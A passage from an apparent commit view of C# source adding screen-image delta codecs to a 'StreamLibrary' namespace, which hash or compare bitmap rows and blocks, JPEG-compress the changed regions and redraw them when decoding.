Rectangle ScanRect = Offsets[i];
ScanRect.Y = y;
int offset = (y * Stride) + (ScanRect.X * PixelSize);
if (offset+Stride > Stride * ImageSize.Height)
break;
uint Hash = hasher.Hash(pScan0 + offset, (int)Stride);
uint BlockOffset = Hash % HashBlockCount;
BlockInfo blockInfo = EncodeHashBlocks[BlockOffset];
if (EncodeBuffer[y][ScanRect.X] != Hash)
{
if (!blockInfo.Hashes.ContainsKey(Hash))
{
int index = ImageOffsets.Count - 1;
if (ImageOffsets.Count > 0 && ImageOffsets[index].Location.Y + 1 == ScanRect.Y)
{
Rectangle rect = ImageOffsets[index].Location;
ImageOffsets[index].Location = new Rectangle(rect.X, rect.Y, rect.Width, rect.Height + 1);
}
else
{
ImageOffsets.Add(new HashBlock(Hash, false, new Rectangle(ScanRect.X, y, ScanRect.Width, 1)));
}
blockInfo.Hashes.Add(Hash, new HashBlock(Hash, false, new Rectangle(ScanRect.X, y, ScanRect.Width, 1)));
ImageHashes.Add(Hash);
}
EncodeBuffer[y][ScanRect.X] = Hash;
}
}
}
if (ImageOffsets.Count > 0)
{
for (int i = 0; i < Offsets.Length; i++)
{
Rectangle TargetOffset = Offsets[i];
int Height = GetOffsetHeight(ImageOffsets, TargetOffset);
Bitmap TmpBmp = new Bitmap(TargetOffset.Width, Height, Format);
BitmapData TmpData = TmpBmp.LockBits(new Rectangle(0, 0, TmpBmp.Width, TmpBmp.Height), ImageLockMode.ReadWrite, TmpBmp.PixelFormat);
int blockStride = PixelSize * TargetOffset.Width;
List<HashBlock> UsedOffsets = new List<HashBlock>();
for (int j = 0; j < ImageOffsets.Count; j++)
{
Rectangle rect = ImageOffsets[j].Location;
if (rect.Width != TargetOffset.Width || rect.X != TargetOffset.X)
continue; //error in 1440p, did not tested futher
for (int o = 0, offset = 0; o < rect.Height; o++)
{
int blockOffset = (Stride * (rect.Y + o)) + (PixelSize * rect.X);
NativeMethods.memcpy((byte*)TmpData.Scan0.ToPointer() + offset, pScan0 + blockOffset, (uint)blockStride); //copy-changes
offset += blockStride;
UsedOffsets.Add(ImageOffsets[j]);
}
}
TmpBmp.UnlockBits(TmpData);
TmpBmp.Dispose();
outStream.Write(BitConverter.GetBytes((short)UsedOffsets.Count), 0, 2);
if (UsedOffsets.Count > 0)
{
outStream.Write(BitConverter.GetBytes((short)UsedOffsets[0].Location.X), 0, 2);
for (int j = 0; j < UsedOffsets.Count; j++)
{
outStream.Write(BitConverter.GetBytes((short)UsedOffsets[j].Location.Y), 0, 2);
outStream.Write(BitConverter.GetBytes((short)UsedOffsets[j].Location.Height), 0, 2);
outStream.Write(BitConverter.GetBytes(UsedOffsets[j].Hash), 0, 4);
}
byte[] CompressedImg = base.jpgCompression.Compress(TmpBmp);
outStream.Write(BitConverter.GetBytes(CompressedImg.Length), 0, 4);
outStream.Write(CompressedImg, 0, CompressedImg.Length);
}
//TotalDataLength += (int)length + (4 * 5);
}
}
EncodedFrames++;
}
private int GetOffsetHeight(List<HashBlock> ImageOffsets, Rectangle rect)
{
int height = 0;
for (int i = 0; i < ImageOffsets.Count; i++)
{
if (ImageOffsets[i].Location.Width == rect.Width && ImageOffsets[i].Location.X == rect.X)
height += ImageOffsets[i].Location.Height;
}
return height;
}
public override Bitmap DecodeData(Stream inStream)
{
byte[] temp = new byte[4];
inStream.Read(temp, 0, 4);
int DataSize = BitConverter.ToInt32(temp, 0);
if (decodedBitmap == null)
{
temp = new byte[DataSize];
inStream.Read(temp, 0, temp.Length);
this.decodedBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp));
return decodedBitmap;
}
//return decodedBitmap;
List<Rectangle> updates = new List<Rectangle>();
Rectangle rect;
Graphics g = Graphics.FromImage(decodedBitmap);
Bitmap tmp;
byte[] buffer = null;
MemoryStream m;
while (DataSize > 0)
{
byte[] tempData = new byte[4 * 5];
inStream.Read(tempData, 0, tempData.Length);
rect = new Rectangle(BitConverter.ToInt32(tempData, 0), BitConverter.ToInt32(tempData, 4),
BitConverter.ToInt32(tempData, 8), BitConverter.ToInt32(tempData, 12));
int UpdateLen = BitConverter.ToInt32(tempData, 16);
buffer = new byte[UpdateLen];
inStream.Read(buffer, 0, buffer.Length);
if (onDecodeDebugScan != null)
onDecodeDebugScan(rect);
m = new MemoryStream(buffer);
tmp = (Bitmap)Image.FromStream(m);
g.DrawImage(tmp, rect.Location);
tmp.Dispose();
m.Close();
m.Dispose();
DataSize -= UpdateLen + (4 * 5);
}
g.Dispose();
return decodedBitmap;
}
public override unsafe System.Drawing.Bitmap DecodeData(IntPtr CodecBuffer, uint Length)
{
return null;
}
private class BlockInfo
{
public SortedList<uint, HashBlock> Hashes { get; private set; }
public BlockInfo()
{
Hashes = new SortedList<uint, HashBlock>();
}
}
private class HashBlock
{
public bool Cached { get; set; }
public uint Hash { get; set; }
public Rectangle Location { get; set; }
public HashBlock(uint Hash, bool Cached, Rectangle Location)
{
this.Hash = Hash;
this.Cached = Cached;
this.Location = Location;
}
public HashBlock()
{
}
}
private class ImageOffset
{
public Rectangle Location { get; set; }
public List<uint> Hashes { get; set; }
public ImageOffset()
{
this.Hashes = new List<uint>();
}
}
}
}

View File

@ -0,0 +1,308 @@
using StreamLibrary.src;
using System;
using System.Collections.Generic;
using System.Drawing;
using System.Drawing.Imaging;
using System.IO;
using System.Text;
namespace StreamLibrary.UnsafeCodecs
{
public class UnsafeCachedStreamCodec : IUnsafeCodec
{
public override ulong CachedSize
{
get;
internal set;
}
public override event IVideoCodec.VideoDebugScanningDelegate onCodeDebugScan;
public override event IVideoCodec.VideoDebugScanningDelegate onDecodeDebugScan;
public override int BufferCount
{
get { return 0; }
}
public override CodecOption CodecOptions
{
get { return CodecOption.HasBuffers; }
}
private PixelFormat EncodedFormat;
private int EncodedWidth;
private int EncodedHeight;
private static Size CheckBlock = new Size(50, 50);
private MurmurHash2Unsafe Hasher = new MurmurHash2Unsafe();
private List<Frame> Frames = new List<Frame>();
public const int MAX_FRAMES = 120;
private ulong[] DecodeBuffer;
private Bitmap DecodedBitmap;
private List<Bitmap> DecodedFrames = new List<Bitmap>();
public UnsafeCachedStreamCodec(int ImageQuality)
: base(ImageQuality)
{
}
public override unsafe void CodeImage(IntPtr Scan0, Rectangle ScanArea, Size ImageSize, PixelFormat Format, Stream outStream)
{
byte* pScan0 = (byte*)Scan0.ToInt32();
if (!outStream.CanWrite)
throw new Exception("Must have access to Write in the Stream");
int Stride = 0;
int RawLength = 0;
int PixelSize = 0;
switch (Format)
{
case PixelFormat.Format24bppRgb:
PixelSize = 3;
break;
case PixelFormat.Format32bppArgb:
case PixelFormat.Format32bppPArgb:
PixelSize = 4;
break;
default:
throw new NotSupportedException(Format.ToString());
}
Stride = ImageSize.Width * PixelSize;
RawLength = Stride * ImageSize.Height;
if (EncodedWidth == 0 && EncodedHeight == 0)
{
this.EncodedFormat = Format;
this.EncodedWidth = ImageSize.Width;
this.EncodedHeight = ImageSize.Height;
byte[] temp = null;
using (Bitmap TmpBmp = new Bitmap(ImageSize.Width, ImageSize.Height, Stride, Format, Scan0))
{
temp = base.jpgCompression.Compress(TmpBmp);
}
outStream.Write(BitConverter.GetBytes(temp.Length), 0, 4);
outStream.Write(temp, 0, temp.Length);
return;
}
Frame frame = new Frame(ImageSize.Width, ImageSize.Height);
int Blocks = (ScanArea.Width / CheckBlock.Width) * (ScanArea.Height / CheckBlock.Height);
int RawSizeUsed = 0;
long oldPos = outStream.Position;
outStream.Write(new byte[4], 0, 4);
int TotalDataLength = 0;
List<Rectangle> ChangedBlocks = new List<Rectangle>();
for(int y = ScanArea.Y; y < ScanArea.Height; )
{
int height = y + CheckBlock.Height < ScanArea.Height ? CheckBlock.Height : ScanArea.Height - y;
for (int x = ScanArea.X; x < ScanArea.Width; )
{
int width = x + CheckBlock.Width < ScanArea.Width ? CheckBlock.Width : ScanArea.Width - x;
int BlockStride = Format == PixelFormat.Format24bppRgb ? width * 3 : width * 4;
decimal FinalHash = 0;
for (int h = 0; h < height; h++)
{
int Offset = FastBitmap.CalcImageOffset(x, y+h, Format, ImageSize.Width);
FinalHash += Hasher.Hash(pScan0 + Offset, BlockStride);
}
if(onCodeDebugScan != null)
onCodeDebugScan(new Rectangle(x, y, width, height));
bool FoundBlock = false;
decimal FoundHash = 0;
int FrameIndex = 0;
for (int i = 0; i < Frames.Count; i++)
{
decimal hash = Frames[i].GetHashBlock(x, y);
if (hash == FinalHash)
{
FrameIndex = i;
FoundBlock = true;
FoundHash = hash;
break;
}
}
frame.AddHashBlock(x, y, FinalHash);
if (!FoundBlock)
{
int index = ChangedBlocks.Count - 1;
Rectangle cBlock = new Rectangle(x, y, width, height);
if (ChangedBlocks.Count > 0 && (ChangedBlocks[index].X + ChangedBlocks[index].Width) == cBlock.X)
{
Rectangle rect = ChangedBlocks[index];
int newWidth = cBlock.Width + rect.Width;
cBlock = new Rectangle(rect.X, rect.Y, newWidth, rect.Height);
ChangedBlocks[index] = cBlock;
}
/*else if (ChangedBlocks.Count > 0 && (ChangedBlocks[index].Y + ChangedBlocks[index].Height) == cBlock.Y)
{
Rectangle rect = ChangedBlocks[index];
int newHeight = cBlock.Height + rect.Height;
cBlock = new Rectangle(rect.X, rect.Y, rect.Width, newHeight);
ChangedBlocks[index] = cBlock;
}*/
else
{
ChangedBlocks.Add(cBlock);
}
RawSizeUsed += BlockStride * height;
}
x += width;
}
y += height;
}
//write all the blocks
for (int i = 0; i < ChangedBlocks.Count; i++)
{
Rectangle rect = ChangedBlocks[i];
int blockStride = PixelSize * rect.Width;
Bitmap TmpBmp = new Bitmap(rect.Width, rect.Height, Format);
BitmapData TmpData = TmpBmp.LockBits(new Rectangle(0, 0, TmpBmp.Width, TmpBmp.Height), ImageLockMode.ReadWrite, TmpBmp.PixelFormat);
for (int j = 0, offset = 0; j < rect.Height; j++)
{
int blockOffset = (Stride * (rect.Y + j)) + (PixelSize * rect.X);
NativeMethods.memcpy((byte*)TmpData.Scan0.ToPointer() + offset, pScan0 + blockOffset, (uint)blockStride); //copy-changes
offset += blockStride;
}
TmpBmp.UnlockBits(TmpData);
outStream.Write(BitConverter.GetBytes(rect.X), 0, 4);
outStream.Write(BitConverter.GetBytes(rect.Y), 0, 4);
outStream.Write(BitConverter.GetBytes(rect.Width), 0, 4);
outStream.Write(BitConverter.GetBytes(rect.Height), 0, 4);
outStream.Write(new byte[4], 0, 4);
long length = outStream.Position;
long OldPos = outStream.Position;
base.jpgCompression.Compress(TmpBmp, ref outStream);
length = outStream.Position - length;
outStream.Position = OldPos - 4;
outStream.Write(BitConverter.GetBytes((int)length), 0, 4);
outStream.Position += length;
TmpBmp.Dispose();
TotalDataLength += (int)length + (4 * 5);
}
outStream.Position = oldPos;
outStream.Write(BitConverter.GetBytes(TotalDataLength), 0, 4);
ChangedBlocks.Clear();
Frames.Add(frame);
if (Frames.Count > MAX_FRAMES)
Frames.RemoveAt(0);
}
public override unsafe System.Drawing.Bitmap DecodeData(System.IO.Stream inStream)
{
byte[] temp = new byte[4];
inStream.Read(temp, 0, 4);
int DataSize = BitConverter.ToInt32(temp, 0);
if (DecodedBitmap == null)
{
temp = new byte[DataSize];
inStream.Read(temp, 0, temp.Length);
this.DecodedBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp));
DecodedFrames.Add(DecodedBitmap);
return DecodedBitmap;
}
Rectangle rect;
Graphics g = Graphics.FromImage(DecodedBitmap);
Bitmap tmp;
byte[] buffer = null;
MemoryStream m;
while (DataSize > 0)
{
byte[] tempData = new byte[4 * 5];
inStream.Read(tempData, 0, tempData.Length);
rect = new Rectangle(BitConverter.ToInt32(tempData, 0), BitConverter.ToInt32(tempData, 4),
BitConverter.ToInt32(tempData, 8), BitConverter.ToInt32(tempData, 12));
int UpdateLen = BitConverter.ToInt32(tempData, 16);
buffer = new byte[UpdateLen];
inStream.Read(buffer, 0, buffer.Length);
if (onDecodeDebugScan != null)
onDecodeDebugScan(rect);
m = new MemoryStream(buffer);
tmp = (Bitmap)Image.FromStream(m);
g.DrawImage(tmp, rect.Location);
tmp.Dispose();
m.Close();
m.Dispose();
DataSize -= UpdateLen + (4 * 5);
}
g.Dispose();
return DecodedBitmap;
}
public override unsafe System.Drawing.Bitmap DecodeData(IntPtr CodecBuffer, uint Length)
{
return new Bitmap(10, 10);
}
private class HashedBlock
{
public int X { get; private set; }
public int Y { get; private set; }
public int Width { get; private set; }
public int Height { get; private set; }
public int FrameIndex { get; private set; }
public HashedBlock(int x, int y, int width, int height, int FrameIndex)
{
this.X = x;
this.Y = y;
this.Width = width;
this.Height = height;
this.FrameIndex = FrameIndex;
}
public override string ToString()
{
return "X:" + X + ", Y:" + Y + ", Width:" + Width + ", Height:" + Height + ", FrameIndex:" + FrameIndex;
}
}
private class Frame
{
public decimal[,] HashBlocks { get; private set; }
public Frame(int ImageWidth, int ImageHeight)
{
this.HashBlocks = new decimal[(ImageWidth / UnsafeCachedStreamCodec.CheckBlock.Width) + 2, (ImageHeight / UnsafeCachedStreamCodec.CheckBlock.Height) + 2];
}
public void AddHashBlock(int x, int y, decimal Hash)
{
x = x / UnsafeCachedStreamCodec.CheckBlock.Width;
y = y / UnsafeCachedStreamCodec.CheckBlock.Height;
this.HashBlocks[x, y] = Hash;
}
public decimal GetHashBlock(int x, int y)
{
x = x / UnsafeCachedStreamCodec.CheckBlock.Width;
y = y / UnsafeCachedStreamCodec.CheckBlock.Height;
return this.HashBlocks[x, y];
}
}
}
}

View File

@ -0,0 +1,365 @@
using StreamLibrary.src;
using System;
using System.Collections.Generic;
using System.Drawing;
using System.Drawing.Imaging;
using System.IO;
using System.Text;
namespace StreamLibrary.UnsafeCodecs
{
public class UnsafeMiniCodec : IUnsafeCodec
{
public override ulong CachedSize
{
get;
internal set;
}
public override event IVideoCodec.VideoDebugScanningDelegate onCodeDebugScan;
public override event IVideoCodec.VideoDebugScanningDelegate onDecodeDebugScan;
public override int BufferCount
{
get { return 1; }
}
public override CodecOption CodecOptions
{
get { return CodecOption.AutoDispose | CodecOption.RequireSameSize; }
}
private PixelFormat EncodedFormat;
private int EncodedWidth;
private int EncodedHeight;
private byte[] EncodeBuffer;
private Bitmap decodedBitmap;
private Size CheckBlock { get { return new Size(50, 50); } }
public UnsafeMiniCodec(int ImageQuality = 100)
: base(ImageQuality)
{
}
public override unsafe void CodeImage(IntPtr Scan0, Rectangle ScanArea, Size ImageSize, PixelFormat Format, Stream outStream)
{
lock (this.ImageProcessLock)
{
byte* pScan0 = (byte*)Scan0.ToInt32();
if (!outStream.CanWrite)
throw new Exception("Must have access to Write in the Stream");
int Stride = 0;
int RawLength = 0;
int PixelSize = 0;
FastBitmap.CalcImageOffset(0, 0, Format, ScanArea.Width); //check for FastBitmap Support
switch (Format)
{
case PixelFormat.Format24bppRgb:
case PixelFormat.Format32bppRgb:
PixelSize = 3;
break;
case PixelFormat.Format32bppArgb:
case PixelFormat.Format32bppPArgb:
PixelSize = 4;
break;
default:
throw new NotSupportedException(Format + " is not supported.");
}
Stride = ImageSize.Width * PixelSize;
RawLength = Stride * ImageSize.Height;
//first frame
if (EncodeBuffer == null)
{
this.EncodedFormat = Format;
this.EncodedWidth = ImageSize.Width;
this.EncodedHeight = ImageSize.Height;
this.EncodeBuffer = new byte[RawLength];
fixed (byte* ptr = EncodeBuffer)
{
byte[] temp = null;
using (Bitmap TmpBmp = new Bitmap(ImageSize.Width, ImageSize.Height, Stride, Format, Scan0))
{
temp = base.jpgCompression.Compress(TmpBmp);
}
outStream.Write(BitConverter.GetBytes(temp.Length), 0, 4);
outStream.Write(temp, 0, temp.Length);
NativeMethods.memcpy(new IntPtr(ptr), Scan0, (uint)RawLength);
}
return;
}
if (this.EncodedFormat != Format)
throw new Exception("PixelFormat is not equal to previous Bitmap");
if (this.EncodedWidth != ImageSize.Width || this.EncodedHeight != ImageSize.Height)
throw new Exception("Bitmap width/height are not equal to previous bitmap");
if (ScanArea.Width > ImageSize.Width || ImageSize.Height > this.EncodedHeight)
throw new Exception("Scan Area Width/Height cannot be greater then the encoded image");
List<Rectangle> Blocks = new List<Rectangle>(); //all the changes
fixed (byte* encBuffer = EncodeBuffer)
{
//1. Check for the changes in height
for (int y = ScanArea.Y; y < ScanArea.Height; y++)
{
Rectangle cBlock = new Rectangle(0, y, ImageSize.Width, 1);
if (onCodeDebugScan != null)
onCodeDebugScan(cBlock);
int Offset = FastBitmap.CalcImageOffset(0, y, Format, ImageSize.Width);
if (NativeMethods.memcmp(encBuffer + Offset, pScan0 + Offset, (uint)Stride) != 0)
{
int index = Blocks.Count - 1;
if (Blocks.Count != 0 && (Blocks[index].Y + Blocks[index].Height) == cBlock.Y)
{
cBlock = new Rectangle(Blocks[index].X, Blocks[index].Y, Blocks[index].Width, Blocks[index].Height + cBlock.Height);
Blocks[index] = cBlock;
}
else
{
Blocks.Add(cBlock);
}
}
}
//2. Capture all the changes using the CheckBlock
List<Rectangle> finalUpdates = new List<Rectangle>();
for (int i = 0; i < Blocks.Count; i++)
{
Rectangle scanBlock = Blocks[i];
//go through the Blocks
for (int y = scanBlock.Y; y < scanBlock.Height; y += CheckBlock.Height)
{
for (int x = scanBlock.X; x < scanBlock.Width; x += CheckBlock.Width)
{
int blockWidth = x + CheckBlock.Width < scanBlock.Width ? CheckBlock.Width : scanBlock.Width - x;
int blockHeight = y + CheckBlock.Height < scanBlock.Height ? CheckBlock.Height : scanBlock.Height - y;
Rectangle cBlock = new Rectangle(x, y, blockWidth, blockHeight);
if (onCodeDebugScan != null)
onCodeDebugScan(cBlock);
//scan the block from Top To Bottom and check for changes
bool FoundChanges = false;
for (int blockY = y; blockY < y + blockHeight; blockY++)
{
int Offset = FastBitmap.CalcImageOffset(x, blockY, Format, blockWidth);
if (NativeMethods.memcmp(encBuffer + Offset, pScan0 + Offset, (uint)Stride) != 0)
{
FoundChanges = true;
break;
}
}
if (FoundChanges)
{
int index = finalUpdates.Count - 1;
if (finalUpdates.Count > 0 && (finalUpdates[index].X + finalUpdates[index].Width) == cBlock.X)
{
Rectangle rect = finalUpdates[index];
int newWidth = cBlock.Width + rect.Width;
cBlock = new Rectangle(rect.X, rect.Y, newWidth, rect.Height);
finalUpdates[index] = cBlock;
}
else
{
finalUpdates.Add(cBlock);
}
}
}
}
}
//maybe a too hard algorithm but oh well
SortedList<int, SortedList<int, Rectangle>> Array = finalUpdates.ToArray().RectanglesTo2D().Rectangle2DToRows();
List<Rectangle> FinalTemp = new List<Rectangle>();
for (int i = 0; i < Array.Values.Count; i++)
{
FinalTemp.AddRange(Array.Values[i].Values);
}
//fixup the height
for (int i = 0; i < FinalTemp.Count; )
{
if (FinalTemp.Count == 1)
{
FinalTemp.Add(FinalTemp[i]);
break;
}
if (i + 1 < FinalTemp.Count)
{
Rectangle curRect = FinalTemp[i];
Rectangle nextRect = FinalTemp[i + 1];
if ((curRect.Y + curRect.Height) == nextRect.Y && curRect.Width == nextRect.Width)
{
FinalTemp[i] = new Rectangle(curRect.X, curRect.Y, curRect.Width, curRect.Height + curRect.Height);
FinalTemp.RemoveAt(i + 1);
}
else
{
i++;
}
}
else
{
break;
}
}
//copy changes to the EncodeBuffer and Process the Output
long oldPos = outStream.Position;
outStream.Write(new byte[4], 0, 4);
int TotalDataLength = 0;
for (int i = 0; i < FinalTemp.Count; i++)
{
Rectangle rect = FinalTemp[i];
int blockStride = PixelSize * rect.Width;
//copy changes to EncodeBuffer
for (int y = rect.Y; y < rect.Y + rect.Height; y++)
{
int Offset = FastBitmap.CalcImageOffset(rect.X, y, Format, rect.Width);
NativeMethods.memcpy(encBuffer + Offset, pScan0 + Offset, (uint)blockStride); //copy-changes
}
Bitmap TmpBmp = new Bitmap(rect.Width, rect.Height, Format);
BitmapData TmpData = TmpBmp.LockBits(new Rectangle(0, 0, TmpBmp.Width, TmpBmp.Height), ImageLockMode.ReadWrite, TmpBmp.PixelFormat);
for (int j = 0, offset = 0; j < rect.Height; j++)
{
int blockOffset = (Stride * (rect.Y + j)) + (PixelSize * rect.X);
NativeMethods.memcpy((byte*)TmpData.Scan0.ToPointer() + offset, pScan0 + blockOffset, (uint)blockStride); //copy-changes
offset += blockStride;
}
TmpBmp.UnlockBits(TmpData);
outStream.Write(BitConverter.GetBytes(rect.X), 0, 4);
outStream.Write(BitConverter.GetBytes(rect.Y), 0, 4);
outStream.Write(BitConverter.GetBytes(rect.Width), 0, 4);
outStream.Write(BitConverter.GetBytes(rect.Height), 0, 4);
outStream.Write(new byte[4], 0, 4);
long length = outStream.Position;
long OldPos = outStream.Position;
base.jpgCompression.Compress(TmpBmp, ref outStream);
length = outStream.Position - length;
outStream.Position = OldPos - 4;
outStream.Write(BitConverter.GetBytes((int)length), 0, 4);
outStream.Position += length;
TmpBmp.Dispose();
TotalDataLength += (int)length + (4 * 5);
}
outStream.Position = oldPos;
outStream.Write(BitConverter.GetBytes(TotalDataLength), 0, 4);
Blocks.Clear();
}
}
}
public override unsafe Bitmap DecodeData(IntPtr CodecBuffer, uint Length)
{
if (Length < 4)
return decodedBitmap;
int DataSize = *(int*)(CodecBuffer);
if (decodedBitmap == null)
{
byte[] temp = new byte[DataSize];
fixed (byte* tempPtr = temp)
{
NativeMethods.memcpy(new IntPtr(tempPtr), new IntPtr(CodecBuffer.ToInt32() + 4), (uint)DataSize);
}
this.decodedBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp));
return decodedBitmap;
}
byte* bufferPtr = (byte*)CodecBuffer.ToInt32();
if (DataSize > 0)
{
Graphics g = Graphics.FromImage(decodedBitmap);
for (int i = 4; DataSize > 0; )
{
Rectangle rect = new Rectangle(*(int*)(bufferPtr + i), *(int*)(bufferPtr + i + 4),
*(int*)(bufferPtr + i + 8), *(int*)(bufferPtr + i + 12));
int UpdateLen = *(int*)(bufferPtr + i + 16);
byte[] temp = new byte[UpdateLen];
fixed (byte* tempPtr = temp)
{
NativeMethods.memcpy(new IntPtr(tempPtr), new IntPtr(CodecBuffer.ToInt32() + i + 20), (uint)UpdateLen);
using (Bitmap TmpBmp = new Bitmap(rect.Width, rect.Height, rect.Width * 3, decodedBitmap.PixelFormat, new IntPtr(tempPtr)))
{
g.DrawImage(TmpBmp, new Point(rect.X, rect.Y));
}
}
DataSize -= UpdateLen + (4 * 5);
i += UpdateLen + (4 * 5);
}
g.Dispose();
}
return decodedBitmap;
}
public override Bitmap DecodeData(Stream inStream)
{
byte[] temp = new byte[4];
inStream.Read(temp, 0, 4);
int DataSize = BitConverter.ToInt32(temp, 0);
if (decodedBitmap == null)
{
temp = new byte[DataSize];
inStream.Read(temp, 0, temp.Length);
this.decodedBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp));
return decodedBitmap;
}
List<Rectangle> updates = new List<Rectangle>();
Rectangle rect;
Graphics g = Graphics.FromImage(decodedBitmap);
Bitmap tmp;
byte[] buffer = null;
MemoryStream m;
while (DataSize > 0)
{
byte[] tempData = new byte[4 * 5];
inStream.Read(tempData, 0, tempData.Length);
rect = new Rectangle(BitConverter.ToInt32(tempData, 0), BitConverter.ToInt32(tempData, 4),
BitConverter.ToInt32(tempData, 8), BitConverter.ToInt32(tempData, 12));
int UpdateLen = BitConverter.ToInt32(tempData, 16);
buffer = new byte[UpdateLen];
inStream.Read(buffer, 0, buffer.Length);
if (onDecodeDebugScan != null)
onDecodeDebugScan(rect);
m = new MemoryStream(buffer);
tmp = (Bitmap)Image.FromStream(m);
g.DrawImage(tmp, rect.Location);
tmp.Dispose();
m.Close();
m.Dispose();
DataSize -= UpdateLen + (4 * 5);
}
g.Dispose();
return decodedBitmap;
}
}
}

View File

@ -0,0 +1,473 @@
using StreamLibrary.src;
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.Drawing;
using System.Drawing.Imaging;
using System.IO;
using System.Text;
namespace StreamLibrary.UnsafeCodecs
{
public class UnsafeOptimizedCodec : IUnsafeCodec
{
private class PopulairPoint
{
public Rectangle Rect;
public int Score;
public Stopwatch LastUpdate;
public PopulairPoint(Rectangle rect)
{
this.Rect = rect;
this.Score = 0;
this.LastUpdate = Stopwatch.StartNew();
}
}
public override ulong CachedSize
{
get;
internal set;
}
public override int BufferCount
{
get { return 1; }
}
public override CodecOption CodecOptions
{
get { return CodecOption.RequireSameSize; }
}
public Size CheckBlock { get; private set; }
private object ImageProcessLock = new object();
private byte[] EncodeBuffer;
private Bitmap decodedBitmap;
private PixelFormat EncodedFormat;
private int EncodedWidth;
private int EncodedHeight;
private List<PopulairPoint> populairPoints;
public override event IVideoCodec.VideoDebugScanningDelegate onCodeDebugScan;
public override event IVideoCodec.VideoDebugScanningDelegate onDecodeDebugScan;
private Stopwatch ScreenRefreshSW = Stopwatch.StartNew();
//options
/// <summary> If a part in the image is been changing for the last x milliseconds it will be seen as a video </summary>
public uint AliveTimeForBeingVideo = 5000;
/// <summary> This will check if the video went away or stopped playing so it will refresh the other parts in the image </summary>
public uint ScreenRefreshTimer = 2000;
/// <summary> The size for being a video, if bigger or equal to the VideoScreenSize it must be a video </summary>
public Size VideoScreenSize = new Size(100, 100);
/// <summary>
/// Initialize a new object of UnsafeOptimizedCodec
/// </summary>
/// <param name="ImageQuality">The quality to use between 0-100</param>
public UnsafeOptimizedCodec(int ImageQuality = 100)
: base(ImageQuality)
{
this.populairPoints = new List<PopulairPoint>();
this.CheckBlock = new Size(15, 1);
}
public override unsafe void CodeImage(IntPtr Scan0, Rectangle ScanArea, Size ImageSize, PixelFormat Format, Stream outStream)
{
lock (ImageProcessLock)
{
byte* pScan0 = (byte*)Scan0.ToInt32();
if (!outStream.CanWrite)
throw new Exception("Must have access to Write in the Stream");
int Stride = 0;
int RawLength = 0;
int PixelSize = 0;
switch (Format)
{
case PixelFormat.Format24bppRgb:
PixelSize = 3;
break;
case PixelFormat.Format32bppArgb:
case PixelFormat.Format32bppPArgb:
PixelSize = 4;
break;
default:
throw new NotSupportedException(Format.ToString());
}
Stride = ImageSize.Width * PixelSize;
RawLength = Stride * ImageSize.Height;
if (EncodeBuffer == null)
{
this.EncodedFormat = Format;
this.EncodedWidth = ImageSize.Width;
this.EncodedHeight = ImageSize.Height;
this.EncodeBuffer = new byte[RawLength];
fixed (byte* ptr = EncodeBuffer)
{
byte[] temp = null;
using (Bitmap TmpBmp = new Bitmap(ImageSize.Width, ImageSize.Height, Stride, Format, Scan0))
{
temp = base.jpgCompression.Compress(TmpBmp);
}
outStream.Write(BitConverter.GetBytes(temp.Length), 0, 4);
outStream.Write(temp, 0, temp.Length);
NativeMethods.memcpy(new IntPtr(ptr), Scan0, (uint)RawLength);
}
return;
}
if (ScreenRefreshSW.ElapsedMilliseconds > ScreenRefreshTimer)
{
for (int i = 0; i < populairPoints.Count; i++)
{
if (populairPoints[i].Score == 0 || populairPoints[i].LastUpdate.Elapsed.Seconds > 5)
{
populairPoints.RemoveAt(i);
}
}
ScreenRefreshSW = Stopwatch.StartNew();
}
long oldPos = outStream.Position;
outStream.Write(new byte[4], 0, 4);
int TotalDataLength = 0;
List<byte[]> updates = new List<byte[]>();
MemoryStream ms = new MemoryStream();
byte[] buffer = null;
if (this.EncodedFormat != Format)
throw new Exception("PixelFormat is not equal to previous Bitmap");
if (this.EncodedWidth != ImageSize.Width || this.EncodedHeight != ImageSize.Height)
throw new Exception("Bitmap width/height are not equal to previous bitmap");
List<Rectangle> Blocks = new List<Rectangle>();
int index = 0;
Size s = new Size(ScanArea.Width, CheckBlock.Height);
Size lastSize = new Size(ScanArea.Width % CheckBlock.Width, ScanArea.Height % CheckBlock.Height);
int lasty = ScanArea.Height - lastSize.Height;
int lastx = ScanArea.Width - lastSize.Width;
Rectangle cBlock = new Rectangle();
List<Rectangle> finalUpdates = new List<Rectangle>();
PopulairPoint[] points = GetPossibleVideos();
if (points.Length > 0)
{
ScanArea = new Rectangle(points[0].Rect.X, points[0].Rect.Y, points[0].Rect.Width + points[0].Rect.X, points[0].Rect.Height + points[0].Rect.Y);
}
s = new Size(ScanArea.Width, s.Height);
fixed (byte* encBuffer = EncodeBuffer)
{
if (points.Length == 0) //only scan if there is no video
{
for (int y = ScanArea.Y; y != ScanArea.Height; )
{
if (y == lasty)
s = new Size(ScanArea.Width, lastSize.Height);
cBlock = new Rectangle(ScanArea.X, y, ScanArea.Width, s.Height);
int offset = (y * Stride) + (ScanArea.X * PixelSize);
if (NativeMethods.memcmp(encBuffer + offset, pScan0 + offset, (uint)Stride) != 0)
{
if (onCodeDebugScan != null)
onCodeDebugScan(cBlock);
index = Blocks.Count - 1;
if (Blocks.Count != 0 && (Blocks[index].Y + Blocks[index].Height) == cBlock.Y)
{
cBlock = new Rectangle(Blocks[index].X, Blocks[index].Y, Blocks[index].Width, Blocks[index].Height + cBlock.Height);
Blocks[index] = cBlock;
}
else
{
Blocks.Add(cBlock);
}
}
y += s.Height;
}
for (int i = 0, x = ScanArea.X; i < Blocks.Count; i++)
{
s = new Size(CheckBlock.Width, Blocks[i].Height);
x = ScanArea.X;
while (x != ScanArea.Width)
{
if (x == lastx)
s = new Size(lastSize.Width, Blocks[i].Height);
cBlock = new Rectangle(x, Blocks[i].Y, s.Width, Blocks[i].Height);
bool FoundChanges = false;
int blockStride = PixelSize * cBlock.Width;
for (int j = 0; j < cBlock.Height; j++)
{
int blockOffset = (Stride * (cBlock.Y + j)) + (PixelSize * cBlock.X);
if (NativeMethods.memcmp(encBuffer + blockOffset, pScan0 + blockOffset, (uint)blockStride) != 0)
FoundChanges = true;
NativeMethods.memcpy(encBuffer + blockOffset, pScan0 + blockOffset, (uint)blockStride); //copy-changes
}
if (onCodeDebugScan != null)
onCodeDebugScan(cBlock);
if (FoundChanges)
{
index = finalUpdates.Count - 1;
